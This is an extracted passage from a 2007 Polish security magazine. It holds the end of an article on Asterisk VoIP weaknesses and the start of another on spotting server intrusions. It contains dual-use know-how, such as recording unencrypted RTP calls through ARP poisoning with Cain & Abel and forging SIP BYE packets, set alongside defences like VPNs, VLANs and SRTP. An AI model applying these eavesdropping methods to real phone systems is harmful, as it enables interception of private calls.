wiera adres IP osoby atakującej. 

Podsumowując  analizę  bezpie-

czeństwa  systemu  Asterisk  wyko-
rzystującego protokół sygnalizacyjny 
SIP, wyróżnić można typowe ataki:

•   porwanie  Rejestracji  (ang.  Regi-

stration  Hijacking)  –  polega  na 
modyfikacji  pola  From  w  wiado-
mości  REGISTER  (przekierowa-
niu połączenia),

•   porwanie  Połączenia  (ang.  Con-

nection Hijacking) – analogicznie 
do ataku powyżej, ale modyfikacji 
podlega pole From w wiadomości 
INVITE,

•   man  in  the  Middle  –  pozwala 

atakującemu  przechwycić  ko-
munikację  z/do  serwerów  sie-
ciowych i w ten sposób wpływać 
na  kluczowe  informacje  w  wia-
domościach sygnalizacyjnych,

•   podszycie  się  pod  serwer  (ang. 

Impersonating  a  Server)  –  klient 
Agenta  Użytkownika  kontaktuje 
się z serwerem sieciowym w celu 

Rysunek 7. 

Wynik pracy programu Ethereal dla protokołu IAX. Podgląd 

wiadomości AUTHREP – Odpowiedź na żądanie autoryzacji

Rysunek 8. 

Cain & Abel – Rezultat 

próby łamania hasła 6-znakowego

background image

hakin9 Nr 10/2007

www.hakin9.org

Atak

32

dostarczenia  żądania,  natomiast 
intruz podszywa się pod serwer,

•   celowe  zakańczanie  trwających 

połączeń poprzez wysłanie przez 
atakującego  wiadomości  BYE  w 
czasie, gdy zachodzi komunikacja 
między użytkownikami.

Powyższe  przykłady  są  tylko  wycin-
kiem  z  całej  gamy  dostępnych  ata-
ków.  Dlatego  też  należy  wykorzysty-
wać dostępne narzędzia do testowa-
nia bezpieczeństwa zarówno oprogra-
mowania, jak i sprzętu tj. SivusProtos 
czy SIP Forum Test Framework w ce-
lu  przeprowadzania  okresowego  au-
dytu we własnej sieci telefonii IP.

Zabezpieczenia 

Asterisk

Powyżej pokazano, jak bardzo aspek-
ty bezpieczeństwa protokołów sygna-
lizacyjnych  zaimplementowanych  w 
Asterisk nie są jeszcze dopracowane. 
Obecnie protokół IAX2 oferuje najbar-
dziej  zaawansowane  metody  uwie-
rzytelniania: z funkcją skrótu MD5 lub 
RSA, pod warunkiem, że hasło będzie 
na tyle długie, aby czas potrzebny na 
jego  złamanie  był  dłuższy  od  waż-
ności  takiego  hasła.  Natomiast  nale-
ży zdawać sobie sprawę, że protokół 
IAX2  jest  protokołem  producenckim, 
zatem jako taki nie jest w stanie kon-
kurować  z  zestandaryzowanymi  pro-
tokołami sygnalizacyjnymi SIP, H.323, 
czy MGCP np. ilością dostępnych pro-
duktów, czy usług.

Zaprezentowane  ataki  aktywne 

udowodniły,  że  osoba  niepowołana 
jest  w  stanie  wpływać  na  przebieg 
sygnalizacji, a tym samym na trwają-

ce, czy zestawiane połączenie. Me-
todą  na  przeciwdziałanie  tego  typu 
atakom  może  być  zabezpieczanie 
danych na poziomie warstwy aplika-
cji bądź sieciowej. Jednakże Asterisk 
nie posiada na chwilę obecną wspar-
cia dla protokołu SIPS URI. Rozwią-
zaniem takiej sytuacji, zabezpiecze-
niem chroniącym przed lukami, mo-
że być VPN – wirtualna sieć prywat-
na (ang. Virtual Private Network).

Do  utworzenia  sieci  VPN  moż-

na  wykorzystać  darmowe  oprogra-
mowanie np. OpenVPN oraz istnie-
jącą nakładkę graficzną dla systemu 
Windows – OpenVPN GUI. Przewa-
gą sieci VPN nad niezabezpieczoną 
siecią  lokalną  jest  szyfrowanie  da-
nych np. 2048-bitowym kluczem.

Wymienione aplikacje należy za-

instalować na serwerze centrali PBX 
i  stacjach  klientów.  Kolejnym  kro-
kiem  jest  zamiana  adresów  IP  do-
tychczas  używanych  przez  centra-
lę  i  komunikatory  na  nowe  adresy 
IP z sieci VPN. Zabieg ten spowodu-
je, że dane takie jak: lokalizacja, na-
zwa użytkownika, identyfikator połą-
czenia, które dotychczas przesyłane 

były  w  sposób  tekstowy,  staną  się 
niedostępne dla osób trzecich.

Rozwiązanie  to,  pomimo  wie-

lu  przedstawionych  powyżej  zalet, 
ma  również  wady.  Przede  wszyst-
kim  wprowadza  dodatkowe  opóźnie-
nia  przy  zwiększonym  zużyciu  do-
stępnego  pasma,  co  może  być  klu-
czowym czynnikiem wpływającym na 
jakość przesyłanego głosu. Zwiększa 
również zapotrzebowanie na moc obli-
czeniową urządzeń obsługujących, co 
w konsekwencji prowadzi do poniesie-
nia ich ceny (ze względu na zwiększo-
ny koszt obsługi). Dodatkowo rozwią-
zania  VPN  nastręczają  czysto  prak-
tycznych  trudności.  Jak  wspomnia-
no wcześniej, VPN wymaga instalacji 
oprogramowania na stacji klienta, a co 
za tym idzie, rodzi się problem z ob-
sługą wszystkich systemów operacyj-
nych. Dodatkowo mogą wystąpić pro-
blemy współdziałania pomiędzy klien-
tami VPN różnych dostawców. Kolej-
nym  kłopotem  mogą  być  zapory  sie-
ciowe  i  inne  urządzenia  pomiędzy 
klientem i bramą VPN, które mogą nie-
korzystnie wpływać na możliwość ze-
stawiania połączeń VPN. Wszystko to 
powoduje, że – pomimo iż jest to roz-
wiązanie gwarantujące wysoki poziom 
bezpieczeństwa  –  w  praktyce  raczej 
się go w telefonii IP nie wykorzystuje.

Bezpieczeństwo głosu 

protokół RTP

Obecnie  najczęściej  wykorzystywa-
nym protokołem do przenoszenia gło-
su (rozmowy) w telefonii IP jest RTP 
(ang.  Real-time  Transport  Protocol). 
Jest on obsługiwany przez Asterisk i 
większość terminali oraz urządzeń ty-
pu  ATA  (tzw.  bramka  VoIP)  dostęp-
nych  na  rynku.  Należy  odnotować, 

Rysunek 9. 

Nemesis – Wysyłanie spreparowanego pakietu BYE

Rysunek 10. 

Cain & Abel – nagrywanie strumieni RTP

background image

Bezpieczeństwo VoIP – luki w systemie Asterisk

hakin9 Nr 10/2007

www.hakin9.org

33

Używane oprogramowanie oraz wymagania sprzętowe

• 

AsteriskWin32 – http://www.asteriskwin32.com/,
Sprzęt: PC lub Serwer:

 

•   OS: Windows 2000/XP/2003,

 

•   Procesor: Pentium 500MHz lub wyższy,

 

•   Pamięć RAM: minimum 128MB,

 

•   Sieć: Szerokopasmowy dostęp do Internetu (dla zewnętrznej linii VoIP) ,

 

•   Środowisko: Cygwin,

• 

Sieć: Zewnętrzne Linie (ang. External Lines)

 

•   TAPI based Board or Voice Modem 

 

•   ISDN Board compatible CAPI 2.0,

 

•   ISDN Router with Remote CAPI support,

 

•   VOIP Providers (SIP & IAX & H323),

• 

Cygwin – http://www.cygwin.com/

 

•   OS: Windows 95/98/ME/NT/2000/XP/2003, WOW64 (32-bitowe środowisko na 64-bitowej wersji Windows),

 

•   X-Lite – http://www.counterpath.com,

 

•   Procesor: minimum Intel Pentium III 700 MHz lub odpowiednik, optymalnie Pentium 4® 2.0 GHz lub odpowiednik,

 

•   Pamięć RAM: 256 MB,

 

•   Dysk twardy: 30 MB,

 

•   OS: Windows 2000/XP, Mac OS X 10.4,

 

•   Sieć: Dostęp do sieci IP (broadband, LAN, wireless),

 

•   Karta dźwiękowa: Full-duplex, 16-bit,

• 

Idefisk – http://www.asteriskguru.com/idefisk/

 

•   Procesor: minimum Pentium II 300MHz,

 

•   Pamięć RAM: minimum 256 MB,

 

•   OS: Windows® 2000, XP lub nowszy,

 

•   Karta dźwiękowa: 16-bitowa karta dźwiękowa (SoundBlaster lub odpowiednik),

 

•   Sieć: dostęp przewodowy lub bezprzewodowy do Internetu,

• 

Ettercap – http://ettercap.sourceforge.net/

 

•   OS: Linux 2.0.x, Linux 2.2.x, Linux 2.4.x, Linux 2.6.x, FreeBSD 4.x 5.x, OpenBSD 2.[789] 3.x, NetBSD 1.5, Mac OS X (dar 

 

win 6.x 7.x), Windows 2000/XP/2003, Solaris 2.x 

 

•   Biblioteki: libpcap 0.8.1l lub nowsza, libnet 1.1.2.1 lub nowsza, libpthread, zlib,

• 

Ethereal – http://www.ethereal.comz OS

 

•   UNIX: Apple Mac OS X, BeOS, FreeBSD, HP-UX, IBM AIX, NetBSD,

 

•   OpenBSD, SCO UnixWare/OpenUnix, SGI Irix, Sun Solaris/Intel, Sun,

 

•   Solaris/Sparc, Tru64 UNIX (wcześniej Digital UNIX),

 

•   LINUX: Debian GNU/Linux, Gentoo Linux, IBM S/390 Linux (Red Hat),

 

•   Mandrake Linux, PLD Linux, Red Hat Linux, Rock Linux, Slackware Linux, Suse Linux,

 

•   Microsoft Windows: Windows Server 2003/XP/2000/NT 4.0, Windows Me/98,

• 

Cain & Abel – http://www.oxid.it/cain.html

 

•   OS: Windows 9x/NT/2000/XP,

• 

OpenVPN – http://openvpn.net/

 

•   OS: Linux, Windows 2000/XP lub wyższy, OpenBSD, FreeBSD, NetBSD, Mac

 

•   OS X oraz Solaris

• 

OpenVPN GUI for Windows – http://openvpn.se/

 

•   OpenVPN GUI został napisany w języku C Win32, dlatego nie wymaga żadnych bibliotek do pracy,

 

•   SiVuS – http://www.vopsecurity.org/index.php,

background image

hakin9 Nr 10/2007

www.hakin9.org

Atak

34

że protokół RTP, jako taki, nie zapew-
nia  jednak  bezpieczeństwa  transmi-
sji, a tym samym pociąga za sobą ry-
zyko np. podsłuchania rozmowy. Nie 
zapewnia  on  także  integralności,  co 
z  kolei  powoduje  podatność  na  ata-
ki typu Man-In-The-Middle, które mo-
gą polegać na modyfikacji transmito-
wanych pakietów. Istnieje rozwiązanie 
tychże problemów w postaci protoko-
łu SRTP (Secure Real-time Transport 
Protocol
), jednakże nie jest ono obec-
nie obsługiwane – ani przez stabilną 
wersję Asterisk (istnieje branch Aste-
risk  SRTP),  ani  też  przez  większość 
wykorzystywanych terminali (a nawet 
jeśli, to są one dużo droższe). Tym sa-
mym  typowa  konfiguracja  z  użyciem 
niezabezpieczonego  protokołu  RTP 
powoduje  szereg  zagrożeń  związa-
nych z brakiem zastosowania jakich-
kolwiek usług kryptograficznych.

Przykład ataku

Dokonany  przez  nas  atak  na  proto-
kół RTP (sniffing) był jednym z prost-
szych  do  wykonania.  Użyte  narzę-
dzie to Cain & Abel v4.9.2. Aplikacja 
umożliwia przechwycenie i nagranie 
strumienia RTP (a właściwie dwóch 
strumieni)  nawet  osobom  nieposia-
dającym  bardzo  szczegółowej  wie-
dzy  o  protokołach  VoIP.  Wykonanie 
podsłuchu polega na włączeniu mo-
nitoringu wraz z atakiem ARP Poiso-
ning
,  zaś  program  sam  rozpoznaje 
protokół i rozpoczyna nagrywanie do 
plików WAV (Rysunek 10).

Stan obecny w Asterisk

Uwzględniając  powszechne  zalece-
nie, aby separować ruch głosowy od 
ruchu danych (rekomendowane m. in. 
przez Instytut BSI – Bundesamt für Si-
cherheit  in  der  Informationstechnik

należałoby  użyć  sieci  VPN  do  połą-
czeń  głosowych.  Aby  dwoje  klientów 
mogło  się  skutecznie  skomunikować, 
muszą znajdować się w tej samej sie-
ci prywatnej. Jeśli dostępne z niej ma-
ją być także usługi typu IVR lub pocz-
ta  głosowa  oferowana  przez  serwer 
Asterisk,  to  także  on  powinien  się  w 
takiej sieci prywatnej znaleźć. Nieste-
ty,  wykorzystanie  sieci  VPN  nie  roz-
wiązuje  problemu  wzajemnego  pod-
słuchiwania  się  przez  użytkowników, 

gdy np. użytkownicy A, B i C należą do 
jednej sieci, zaś w chwili, gdy A i B roz-
mawiają, C wykorzystuje swój dostęp 
do podsłuchania ich transmisji. Najlep-
szym  rozwiązaniem  w  takiej  sytuacji 
byłoby wykorzystanie szyfrowania po-
przez wykorzystanie protokołu SRTP, 
jednakże – jak wcześniej wspomniano 
– w systemie Asterisk te rozwiązania 
muszą zyskać jeszcze na stabilności.

Poprawa 

bezpieczeństwa

Wdrażając system Asterisk należy, w 
celu zapobieżenia omawianym wcze-
śniej zagrożeniom, powziąć kroki mi-
nimalizujące ryzyko ataków. Zauważ-
my,  iż  bezpieczeństwo  systemu  Vo-
IP, na którym zainstalowany jest Aste-
risk,  może  obejmować  wiele  zagad-
nień, które są w dużym stopniu wyni-
kiem specyfiki instalacji oraz konfigu-
racji  każdego  z  wariantów  wdrożenia 
systemu Asterisk.

W sieci LAN dobrym rozwiązaniem 

jest użycie statycznych tablic ARP tak, 
aby  uniemożliwić  przeprowadzenie 
ataku typu ARP Poisoning. Można tak-
że  rozważyć  użycie  sieci  VPN,  choć 
nie  rozwiązuje  to  problemu  ataków  z 
wewnątrz  tejże  sieci.  Należy  separo-
wać ruch głosowy od zwykłych danych 
(np.  poprzez  wykorzystanie  wirtual-
nych sieci lokalnych – VLAN), co unie-
możliwi  intruzom  uzyskanie  dostępu 
do  segmentu  głosowego  z  segmentu 
danych. Rozwiązanie to jednak niwe-
czy jedną z największych zalet telefonii 
VoIP, jaką niewątpliwie jest możliwość 
wykorzystania tej samej infrastruktury 
do przesyłania danych i głosu. 

Aby  zmaksymalizować  bezpie-

czeństwo dostępu do centrali, zaleca 
się wykorzystanie minimalnej konfigu-
racji  (system  operacyjny  +  Asterisk), 
dzięki czemu możliwe jest wyelimino-
wanie wielu potencjalnych problemów 
bezpieczeństwa. Przykładem prostej 
konfiguracji systemu, która w znaczny 
sposób potrafi poprawić bezpieczeń-
stwo, jest używanie szyfrowania ha-
seł w plikach. Kolejną dobrą praktyką 
w  zarządzaniu  konfiguracją  jest  nie-
udostępnianie  kont  innym  użytkow-
nikom  (jedynie  konta  administracyj-
ne),  jak  również  wyłączenie  wszel-
kich zbędnych wpisów w plikach kon-

figuracyjnych  –  w  tym  standardowej 
testowej konfiguracji. Istotne jest rów-
nież  odpowiednie  zarządzanie  plat-
formą Asterisk, które nie powinno od-
bywać  się  przy  użyciu  zdalnych  na-
rzędzi, niewspierających szyfrowane-
go połączenia (SSL / TLS).

Warto  również  wspomnieć  o  wy-

korzystaniu ścian ogniowych (firewal-
li
), które dadzą nam możliwość prze-
puszczania  tylko  wiarygodnych  klien-
tów oraz zmiany domyślnych portów. 
Należy jednak zauważyć, jak istotnym 
problemem  przy  zabezpieczeniu  wy-
korzystywanej  przez  Asterisk  platfor-
my są problemy związane z „przecho-
dzeniem” pakietów przez firewalle oraz 
przez mechanizmy translacji adresów 
wewnętrznych (np. intranetowych) na 
zewnętrzne (np. internetowe), czyli po-
pularnych NAT’ów (ang. Network Ad-
dress Translation
). W takiej sieci z po-
wodu  wymienionych  przeszkód  mo-
że dojść do uniemożliwienia nawiąza-
nia połączenia (z powodu blokowania 
pakietów zawierających sygnalizację), 
bądź porozumiewania się przez strony 
żądające komunikacji (ze względu na 
blokowanie pakietów RTP).

Przy zabezpieczaniu naszego sys-

temu Asterisk należy również zwrócić 
dużą uwagę na jego stabilność – za-
równo sprzętową jak i aplikacyjną. Sta-
bilność  hardware’u  najprościej  osią-
gnąć zawczasu zabezpieczając się w 
zapasowe  źródła  zasilania,  technolo-
gię RAID oraz najróżniejsze części za-
mienne. Pozwoli nam to uniknąć pro-
blemów związanych z przerwą zasila-
nia,  utratą  danych  czy  niespodziewa-
nymi  awariami  jakiegoś  z  podzespo-
łów.  Natomiast  by  zwiększyć  stabil-
ność systemu Asterisk pod kątem apli-
kacyjnym, należy pamiętać o kilku za-
sadach. Po pierwsze, zawsze powinno 
się używać najnowszej stabilnej wersji 
Asteriska. Po drugie, należy wykorzy-
stywać  często  używane,  sprawdzone 
a zarazem stabilne systemy operacyj-
ne (takie jak np. Linux). Po trzecie, ko-
nieczne  jest  dokładne  testowanie  po-
prawek  nanoszonych  na  oprogramo-
wanie oraz ostrożne podchodzenie do 
dodatkowych  modułów  do  Asteriska. 
Warto  również  trzymać  stare  wersje 
oprogramowania,  co  ułatwi  odzyska-
nie stabilności w razie problemów.

background image

Bezpieczeństwo VoIP – luki w systemie Asterisk

Podsumowanie

Analiza  oprogramowania  centrali  IP 
PBX – Asterisk wykazała, że jest po-
datna  na  wiele  zagrożeń.  Wykorzy-
stanie wskazanych luk prowadzić mo-
że do utraty poufności wykonywanych 
przez  użytkowników  rozmów,  w  tym 
np.  ich  nagrywania.  W  najgorszym 
przypadku może to zaowocować nad-
użyciem usług transmisji głosu dostar-
czanych przez zewnętrznych dostaw-
ców, a skonfigurowanych na potrzeby 
danej instalacji Asteriska. 

Podsumowując rozważania na te-

mat  poziomu  bezpieczeństwa  opro-
gramowania  Asterisk,  należy  stwier-
dzić  jednoznacznie,  iż  jest  on  niewy-
starczający.  Każdy  rozpatrywany  ob-
szar  bezpieczeństwa  (sygnalizacja, 
przesyłanie  danych  głosowych  oraz 
środowisko sieciowe) jest potencjalnie 
narażony na różnorodne ataki. Co gor-
sza, wiele z nich jest stosunkowo pro-
stych i łatwych do zrealizowania za po-
mocą  graficznych,  ogólnodostępnych 
narzędzi  hakerskich.  Należy  jednak 

uczciwie stwierdzić, iż atakom można 
również efektywnie zapobiegać wyko-
rzystując powszechnie dostępne dar-
mowe  oprogramowanie  (jak  na  przy-
kład OpenVPN czy Stunnel). 

Zauważmy,  iż  wiele  ze  wskaza-

nych  problemów  bezpieczeństwa 
można rozwiązać dopracowując stan-
dardową konfigurację. Ewolucja Aste-
riska  zmierza  raczej  w  kierunku  roz-
woju  protokołu  IAX2.  Śmiało  moż-
na również oczekiwać, że wraz z po-
jawieniem  się  nowej  wersji  protokołu 
IAX2 wyposażonej w mechanizm szy-
frowania danych i obecną już łatwość 
radzenia sobie z urządzeniami imple-
mentującymi  NAT,  większość  poten-
cjalnych zagrożeń zostanie zminimali-
zowanych. Dziwi jednak niechęć twór-
ców  tego  oprogramowania  do  wpro-
wadzania  zabezpieczeń  dla  protoko-
łów  zestandaryzowanych,  tj.  SIP  czy 
H.323,  co  mogłoby  wydatnie  popra-
wić bezpieczeństwo systemu Asterisk 
jako bramy zespalającej systemy Vo-
IP  bazujące  na  różnych  protokołach 

sygnalizacyjnych. W najbliższym cza-
sie  nie  możemy  również  spodziewać 
się wdrożenia SRTP, które poprawiło-
by bezpieczeństwo przesyłanego gło-
su i danych. Do tego czasu pozosta-
je nam radzić sobie za pomocą wspo-
mnianych w artykule narzędzi, bo na-
wet oczywiste luki w bezpieczeństwie 
nie  są  w  stanie  zmienić  jednoznacz-
nie  pozytywnej  opinii  na  temat  wa-
lorów  użytkowych  Asteriska.  Należy 
również odpowiedzieć na pytanie, ja-
ka jest przyczyna częstego pomijania 
kwestii  bezpieczeństwa  VoIP.  Powo-
dów  braku  dobrych  zabezpieczeń  w 
systemach VoIP można by wymieniać 
wiele. Wśród najważniejszych znajdu-
je się chęć minimalizacji dodatkowych 
kosztów (brak implementacji mechani-
zmów zabezpieczeń, certyfikatów klu-
cza publicznego itp.), która po części 
sprawia,  iż  telefonia  VoIP  jest  tania, 
wpływ  mechanizmów  zabezpieczeń 
na jakość rozmowy i zestawianie po-
łączenia (opóźnienie) oraz niską świa-
domość użytkowników telefonii IP.

Przy  każdym  wdrożeniu  syste-

mu  Asterisk  należy  zatem  zastano-
wić  się,  co  będzie  dla  nas  ważniej-
sze – niskie koszty połączeń i wdroże-
nia, czy też w pełni bezpieczny system, 
który  będziemy  mogli  zaproponować 
użytkownikom. l

O autorach

Autorami są członkowie zespołu Network Security Group (secgroup.pl) na Wydziale Elek-
troniki i Technik Informacyjnych Politechniki Warszawskiej. Kontakt z autorami: tpiotrow-
ski1@gmail.com, s.m.wojcik@gmail.com, wmiko@o2.pl, wmazurcz@elka.pw.edu.pl

R

E

K

L

A

M

A

background image

www.hakin9.org

hakin9 Nr 10/2007

36

Atak

P

rędzej czy później to nastąpi – nie da się 
przed tym uciec – padniesz ofiarą wła-
mania. Jedyną Twoją szansą na ratunek 

będzie jak najszybsze wykrycie incydentu i prze-
ciwdziałanie dalszym zniszczeniom powodowa-
nym przez intruza. Twoje działania muszą być 
w pełni świadome, a przede wszystkim skutecz-
ne.  Będziesz  musiał  przewidzieć  i  rozpatrzyć 
wszystkie  możliwe  drogi,  jakimi  podążać  mógł 
intruz i zniszczyć na nich wszystkie mosty, tak 
aby powrót agresora był niemożliwy, a system 
odzyskał  pełnię  zaufania.  Przed  jakimikolwiek 
próbami  wyszukiwania  intruza  musisz  świado-
mie określić, czy zostałeś zaatakowany, a atak 
ten zakończył się sukcesem i czy intruz uzyskał 
dostęp do Twojej maszyny. W dziedzinie detekcji 
intruza, sprawą kluczową jest zrozumienie pod-
stawowych przyczyn ataków, pojęcie logiki ludzi 
dokonujących tych ataków oraz przeprowadze-
nie wnikliwego rozpoznania wewnątrzsystemo-
wego.  Wszystkie  z  tych  elementów  są,  wbrew 
pozorom, ściśle ze sobą powiązane.

Trwający  nieustannie  wyścig  zbrojeń  wy-

szukiwania  i  opracowywania  nowych,  sku-
tecznych  technik  przełamywania  zabezpie-
czeń  komputerowych  oraz  metod  penetracyj-
nych  i  stałego  ulepszania  starych  sprawia, 

że  żaden  administrator  –  zarówno  ten  świe-
żo upieczony, jak i ten z wieloletnim doświad-
czeniem – nie powinien czuć się bezpiecznie. 
Ze względu na szybkość wykrywania nowych 
podatności nigdy nie wiadomo, kiedy zostanie 
naruszona  integralność  zarządzanego  przez 
nas  systemu,  a  im  bardziej  atrakcyjnym  ser-
werem i siecią zarządzamy, tym prawdopodo-
bieństwo złamania zabezpieczeń jest większe. 

Atak hakera na Twój 

komputer

Bartosz Kalinowski

stopień trudności

Nieważne, jak wiele odbyłeś szkoleń specjalistycznych, nieważne, 

jak wiele zainwestowałeś czasu i pracy w zabezpieczenie sieci 

komputerowej, nieważne, jak wiele kosztowało Cię to wyrzeczeń. 

Musisz mieć świadomość, że rzesze specjalistów wyszukują 

oraz testują nowe podatności oprogramowania i systemów, 

zwiększając prawdopodobieństwo przeprowadzenia skutecznego 

ataku na maszyny znajdujące się pod Twoją opieką.

Z artykułu dowiesz się

•   jakie  charakterystyczne  zachowania  systemu 

świadczą o obecności intruza,

•   jakie ślady zostawiają po sobie włamywacze,
•   gdzie szukać tych śladów,
•   jak wykryć intruza.

Co powinieneś wiedzieć

•   powinieneś  znać  pojęcia  dotyczące  systemów 

uniksowych oraz Sieci,

•   powinieneś  znać  podstawy  bezpieczeństwa 

systemów uniksowych i sieci komputerowych,

•   powinieneś znać obsługę i konfigurację systemu 

Linux na poziomie co najmniej podstawowym.

background image

Atak hakera na Twój komputer

hakin9 Nr 10/2007

www.hakin9.org

37

Jest kilka ważnych czynników wpły-
wających  na  ten  stan.  Do  dwóch 
głównych, szczególnie w przypadku 
dużych firm, należą:

•   konkurencja i jej działania,
•   Black  Hats  (specjaliści  bezpie-

czeństwa,  działający  typowo  w 
celu wyrządzenia szkód).

Motywacje  konkurencji  to  działania 
związane  z  wywiadem  gospodar-
czym,  podsłuchem  sieci,  przejmo-
waniem  klientów,  kradzieżą  techno-
logii,  rozwiązań,  danych  personal-
nych  etc.  Black  Hats  ukierunkowani 
są na testowanie nowych metod ata-
ku,  kradzież  danych  oraz  zasobów 
procesora,  podsłuch  sieciowy,  sze-
roko pojęte ataki social engineering
tworzenie  sieci  i  komputerów  zom-
bie,  sprawdzenie  własnych  umiejęt-
ności, etc.

Wbrew  pozorom,  administrato-

rzy  małych  ośrodków  komputero-
wych (często zbudowanych z jednej 
maszyny serwerowej) także nie mo-
gą zakładać, że potencjalny napast-
nik  ich  nie  zaatakuje,  wychodząc  z 
założenia – bo po co? W tym przy-
padku sprawa może mieć się zupeł-
nie  inaczej  –  znakomita  większość 
ataków  pochodzi  od  niedoświad-
czonych  agresorów,  określanych 
mianem  script  kiddie  i  ze  względu 
na  ograniczony  zasób  wiedzy  oraz 
strach  przed  ewentualnymi  konse-
kwencjami  często  wybierają  oni  na 
cel małe sieci lub tzw. serwery wolno 
stojące. 
W tym przypadku maszyna 
po  włamaniu  zazwyczaj  jest  trakto-
wana jako darmowa przestrzeń dys-
kowa w Sieci do przechowywania pli-
ków lub też bardzo często wykorzy-
stywana  do  dalszych  ataków  –  na 
atrakcyjniejsze  serwery.  Zrozumie-
nie  przyczyn  ataków  jest  kluczową 
sprawą w detekcji intruza, a oto kil-
ka powodów:

•   pozwala wnioskować o włamaniu,
•   pozwala wychwycić w ciągu zda-

rzeń systemowych akcje charak-
terystyczne  dla  obecności  wła-
mywacza,

•   pozwala  rozpoznać  zachowania 

systemu  i  sieci,  której  bezpie-
czeństwo zostało naruszone,

•   wskazuje sposoby wyszukiwania 

włamywacza,

•   umożliwia określenie poziomu za-

awansowania  włamywacza,  a  co 
za tym idzie – skali zniszczeń.

Dlaczego mi to robisz?

Chciałbym  żebyś  zapamiętał,  że 
wszelkie  metody  oraz  sposoby  de-
tekcji, jak i działania, w każdym przy-
padku są bardzo różne. Należy pod-
chodzić do nich indywidualne i nie po-
padać  w  rutynę.  Wszelkie  dalej  pre-
zentowane  w  artykule  metody  doty-
czą  konkretnego  przypadku,  jednak 
w  rzeczywistości  często  występu-
ją  w  analizie  innych  i  stosowane  są 
jednocześnie. Dlatego też chciałbym, 
abyś nie traktował artykułu jako kom-
pendium wiedzy – to Twoja inteligen-
cja odgrywa największą rolę w detek-
cji i przeciwdziałaniu. Nie bój się eks-
perymentować, szukaj, sprawdzaj, te-
stuj – działaj jak detektyw.

Przypadek I – opis

W tym przypadku mamy do czynienia 
ze  średnio  zaawansowanym  użyt-
kownikiem.  Uzyskał  on  dostęp  do 
systemu typowo z naszej winy – nie 
zainstalowaliśmy poprawek oprogra-
mowania, w którym ostatnio odkryto 
błąd np. przepełnienia bufora.

Intruz A

Agresor  tego  typu  będzie  starał  się 
zachować dostęp do systemu, ale ze 
względu na brak wiedzy jego meto-
dy będą mało wyrafinowane. Bardzo 
prawdopodobne,  że  w  ramach  wy-
miany  będzie  rozdawał  konta  shell. 
Ten agresor będzie starał się wyko-
rzystać  nowo  pozyskany  serwer  do 
łamania  haseł  i  przeprowadzania 
dalszych ataków. Być może posiada 
on sieć komputerów zombie i po uda-
nych atakach (zarówno tych interne-
towych, jak i tych na hasła) dołączy 
system do swojego botnetu. Często 
po wykorzystaniu serwera na własne 
potrzeby, w celu autopromocji intruz 
zmienia  stronę  główną  serwera  lub 
banery usług typu smtp/ftp.

Przypadek II – opis

W  przypadku  II  mamy  do  czynienia 
z  intruzami  bardziej  zaawansowany-

Z dziejów świata

Istotę walki ujmuje Sun Tzu w The Art 
Of War
 takim oto zdaniem: Cała sztuka 
walki bazuje na zwodzeniu przeciwnika.

Sentencja ta dotyczy sztuki wojen-

nej uprawianej tysiące lat temu, a tak-
że sztuki wojennej uprawianej dziś – na 
gruncie  informatyki.  Opisuje  ona  do-
kładnie działania intruzów, a jednocze-
śnie metody obrony...

Typowy scenariusz włamania

Krok 1. Rozpoznanie zewnętrzne – intruz poddaje atakowaną maszynę serii testów 
bezpieczeństwa. Stosuje w tym celu różnorodne narzędzia np. nmap, nessus, trace-
route, whois, dig, telnet etc.
Krok 2. Rozpoznanie szczegółowe – po odkryciu luk agresor poddaje je dokładnym te-
stom. Etap zindywidualizowany ze względu na wykryte podatności.
Krok 3. Atak – włamywacz stosując różnego rodzaju narzędzia przeprowadza atak, co 
może skończyć się naruszeniem integralności danych i uzyskaniem dostępu do kon-
ta root atakowanej maszyny.
Krok 4. Zacieranie śladów – intruz stara się ukryć wszelkie metody swojego działa-
nia oraz ślady obecności. Stara się także zapewnić sobie możliwość ponownego, bar-
dziej bezpiecznego zalogowania do systemu i poszerzenia praw do poziomu użytkow-
nika root.
Krok 5. Czerpanie zysków – włamywacz rozpoczyna działania przeciwko naszej ma-
szynie, użytkownikom lub innym komputerom w sieci oraz wykorzystuje serwer w in-
nych celach własnych.
Krok 6. Dowód – po wykorzystaniu maszyny intruz zostawia widoczne ślady dla admi-
nistratora lub innych użytkowników świadczące o przejęciu kontroli nad serwerem.
Najwięcej śladów intruz zostawia w trakcie wykonywania kroków 1,3 i 5. Warto o tym 
pamiętać i pod tym kątem poszukiwać tropów.

background image

hakin9 Nr 10/2007

www.hakin9.org

Atak

38

mi – metody stosowane przez nich są 
trudniejsze do wykrycia i znacznie bar-
dziej skomplikowane. Dostęp do sys-
temu przez tych użytkowników został 
osiągnięty poprzez wykorzystanie nie-
opublikowanych  błędów  oprogramo-
wania  lub  za  pomocą  błędów  wyko-
rzystywanych przez exploity 0-day.

Intruz B

Agresor  ten  został  zatrudniony  przez 
firmę  konkurencyjną  w  celu  przepro-
wadzenia  działań  wywiadowczych 
wymierzonych w interesy firmy, której 
siecią  zarządzamy.  Jego  priorytetem 
będzie  uzyskanie  jak  największej  ilo-
ści informacji – aby to osiągnąć, musi 
pozostawać niezauważalny dla admi-
nistratora  oraz  użytkowników.  Będzie 
unikał wszelkich działań, które mogło-
by destabilizować system oraz powo-
dować  opóźnienia  w  pracy.  Ważnym 
elementem działań napastnika będzie 
zapewnienie sobie dostępu do syste-
mu w późniejszym czasie – prawdopo-
dobnie zastosuje w tym celu zaawan-
sowane  narzędzia,  być  może  niedo-
stępne publicznie. Często zdarza się, 
że tacy intruzi prócz wykonywania zle-
cenia,  korzystając  z  okazji  wykorzy-
stują opanowany system do własnych 
celów  –  przeprowadzenia  dalszych 
ataków,  masowej  kradzieży  danych, 
w celu przeprowadzenia ataków pod-
szywania,  przejmowania  sesji  i  phi-
shingu wymierzonych w znaczną ilość 
użytkowników Internetu. Są to typowe 
działania  mające  przynieść  korzyści, 
przeważnie finansowe – dlatego intru-
zowi  będzie  zależało  na  jak  najdłuż-
szym wykorzystywaniu maszyny.

Inne

Musimy  mieć  świadomość,  że  uak-
tualnianie oprogramowania powinno 
być wpisane w nasz codzienny plan 
dnia.  Przede  wszystkim  ze  wzglę-
dów bezpieczeństwa – zmniejsza ry-
zyko włamania, poza tym administra-
tor ma do czynienia z serwerem na 
bieżąco – widzi co się dzieje, jak wy-
gląda praca, w jaki sposób wykorzy-
stywane są zasoby systemowe. Jest 
to kluczowa sprawa przy późniejszej 
awarii  (np.  włamaniu)  –  administra-
tor jest już obeznany z swoim syste-
mem i wie, jak on funkcjonuje w wa-

runkach  normalnych,  a  jak  po  wła-
maniu.  Jest  w  stanie  odkryć  znacz-
